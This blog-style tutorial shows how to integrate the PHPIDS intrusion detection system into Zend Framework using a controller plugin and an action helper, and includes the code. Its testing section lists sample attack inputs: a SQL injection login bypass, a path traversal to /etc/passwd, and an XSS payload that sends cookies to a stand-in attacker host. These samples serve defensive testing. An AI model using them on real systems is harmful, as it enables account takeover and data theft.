Implementing PHPIDS in Zend Framework
Security is a very important part of an application, especially if the system handles sensitive data or requires high availability. In this post I'm going to show how to integrate PHPIDS, which is a fantastic Intrusion Detection System for PHP applications, in Zend Framework.
Setting up PHPIDS in Zend Framework
First of all, we need to set up the PHPIDS system in Zend Framework. Luckily, PHPIDS follows the same naming and file structure convention as Zend Framework, so we can easily drop the IDS folder into the library folder. Then we need to register the new namespace in our bootstrap file, in order to make use of the autoloader feature:
class Bootstrap extends Zend_Application_Bootstrap_Bootstrap { ... protected function _initAutoload() { $autoloader = Zend_Loader_Autoloader::getInstance(); $autoloader->registerNamespace('IDS_'); ... } ... }
We also need to change some stuff in the PHPIDS configuration file, so open Config.ini located in IDS/Config/Config.ini. The important thing to configure is the base_path value, which should contain the absolute path to the IDS folder (Example: /var/www/website/library/IDS/). You also need to set the use_base_path to true in order to get the system to work.
If you want to, you can also configure the various logging and database features, but in this example I have just commented out all the stuff I don't need.
Writing the code
If we were only going to use PHPIDS in one or two controller actions, we could probably get away with initiating the IDS system directly in the controller, but I want to make the IDS cover the application globally. A controller plugin would be perfect for that sort of thing.
When making a controller plugin, we have a list of special events we can hook into:
From Zend Framework Reference Guide:
routeStartup()is called before Zend_Controller_Front calls on the router to evaluate the request against the registered routes.routeShutdown()is called after the router finishes routing the request.dispatchLoopStartup()is called before Zend_Controller_Front enters its dispatch loop.preDispatch()is called before an action is dispatched by the dispatcher. This callback allows for proxy or filter behavior. By altering the request and resetting its dispatched flag (via Zend_Controller_Request_Abstract::setDispatched(false)), the current action may be skipped and/or replaced.postDispatch()is called after an action is dispatched by the dispatcher. This callback allows for proxy or filter behavior. By altering the request and resetting its dispatched flag (via Zend_Controller_Request_Abstract::setDispatched(false)), a new action may be specified for dispatching.dispatchLoopShutdown()is called after Zend_Controller_Front exits its dispatch loop.
For this plugin, it's best to hook into the preDispatch() event. By hooking into the system at this early stage we're able to cancel the request or redirect to another controller, if the request looks too risky to be handled by the intended controller action.
Let's start out by making the basic plugin class structure:
class My_Controller_Plugin_PhpIds extends Zend_Controller_Plugin_Abstract { public function preDispatch(Zend_Controller_Request_Abstract $request) { } }
So far, so good. Now we need to get the plugin to actually do something:
class My_Controller_Plugin_PhpIds extends Zend_Controller_Plugin_Abstract { /** * @var IDS_Report */ protected $_report = null; /** * Pre dispatch hook */ public function preDispatch(Zend_Controller_Request_Abstract $request) { /* Initiate IDS system with the configuration file... */ $phpIdsInit = IDS_Init::init(APPLICATION_PATH . '/../library/IDS/Config/Config.ini'); /* Set up a new monitor and check all request parameters... */ $phpIds = new IDS_Monitor($request->getParams(), $phpIdsInit); $this->_report = $phpIds->run(); } /** * Get the PHPIDS report object * * @return IDS_Report */ public function getReport() { return $this->_report; } /** * Get the impact level of request * * @return int Impact level */ public function getImpact() { return $this->_report->getImpact(); } }
Our plugin is passive. It's just an Intrusion Detection System plugin, but it can easily be extended into an Intrusion Prevention System plugin, by adding some code that will react to a high impact level directly in the plugin. That would give a very high security in the entire application, but it's not very flexible, and could therefore cause some trouble. We could instead make a small action helper, that we can use in situations where we feel the need for some extra security:
class Helper_PhpIds extends Zend_Controller_Action_Helper_Abstract { const THRESHOLD_LOW = 10; const THRESHOLD_MEDIUM = 20; const THRESHOLD_HIGH = 40; const THRESHOLD_CRITICAL = 80; /** * Get the PHPIDS controller plugin * * @return My_Controller_Plugin_PhpIds */ protected function _getPhpIdsPlugin() { return $this->getFrontController()->getPlugin('My_Controller_Plugin_PhpIds'); } /** * Triggers various actions, depending on the impact level. * * @param int $impactLevel */ protected function _handleImpactLevel($impactLevel) { if ($impactLevel >= self::THRESHOLD_CRITICAL) { $this->_actionLog(); $this->_actionSendEmail(); $this->_actionStopExecution(); } elseif ($impactLevel >= self::THRESHOLD_HIGH) { $this->_actionLog(); $this->_actionSendEmail(); $this->_actionInjectWarningInResponse(); } elseif ($impactLevel >= self::THRESHOLD_MEDIUM) { $this->_actionLog(); $this->_actionSendEmail(); } else { $this->_actionLog(); } } /** * Log request information to file or database */ protected function _actionLog() { /* Code to log request information to file or database ... */ } /** * Send E-mail to developers alerting of a possible intrusion attempt */ protected function _actionSendEmail() { /* Code to send e-mail to developers about a possible intrusion ... */ } /** * Inject a warning message in response body */ protected function _actionInjectWarningInResponse() { /* Code to inject a warning message in the response body ... */ } /** * Stop any further code execution */ protected function _actionStopExecution() { /* Code to stop code execution ... */ } /** * Checks the impact level and triggers various actions, depending * on the level. * * If impact level is not specified or NULL, it will automatically fetch * the impact level from the PHPIDS controller plugin. * * @param int|null $impactLevel */ public function check($impactLevel = null) { if (is_null($impactLevel)) { $impactLevel = $this->_getPhpIdsPlugin()->getImpact(); } $impactLevel = (int) $impactLevel; if ($impactLevel >= self::THRESHOLD_LOW) { $this->_handleImpactLevel($impactLevel); } } /** * Direct method * * direct() method allows you to treat the helper as a method of the helper broker, * in order to allow easy, one-off usage of the helper. * * The direct method is a proxy method to the {@link check()} method. * * @param int $impactLevel */ public function direct($impactLevel = null) { $this->check($impactLevel); } }
As we can see, It's not fully functional, it still needs to do some real stuff in the action methods, but the basic structure is in place. The check() method is the frontend to the helper and is responsible for fetching the impact level from the PHPIDS plugin if it's not given in the parameter, and then send it on to the protected _handleImpactLevel() which triggers the various action methods, depending on how high the impact level is.
Using the IDS system in our application
Now that we have developed the plugin and helper we can start using it in our application. First we need to go to our application bootstrap file and register the plugin:
class Bootstrap extends Zend_Application_Bootstrap_Bootstrap { ... public function _initPhpIds() { $phpIds = new My_Controller_Plugin_PhpIds(); Zend_Controller_Front::getInstance()->registerPlugin($phpIds); } ... }
Now we're able to use the helper in our controller:
class IndexController extends Zend_Controller_Action { public function indexAction() { $phpIds = $this->getHelper('PhpIds'); $phpIds->check(); ... } }
In the above example I set the check directly in a controller action, but the system can easily be set to check a complete controller, by overriding the public preDispatch() or init() methods.
Testing the Intrusion Detection System
Testing our new IDS system is pretty simple. We need to give it some POST or GET parameters with questionable values. Here's a small list of example inputs you can try:
admin' OR 1 = 1 --(Typical SQL authentication bypass)../../../etc/passwd(Directory traversal and file inclusion attempt)<script>window.location="http://evilhacker.com/cookiestealer.php?cookie=" + document.cookie</script>(Cross Site Scripting / Cookie stealing)
If you haven't changed the action helper code, you will not see anything, so you'll probably want to set some basic echo statements in the action methods in order to see what gets triggered.
Final words
An Intrusion Detection/Prevention System is a fantastic tool but it's not a golden ticket to flawless security. You should always code with security in mind. That means sanitizing user input and escaping values before using them in queries and so on, but an IDS/IPS system makes it possible to know when and how a system was compromised, and that is very valuable to know when patching the flaw.
No related posts.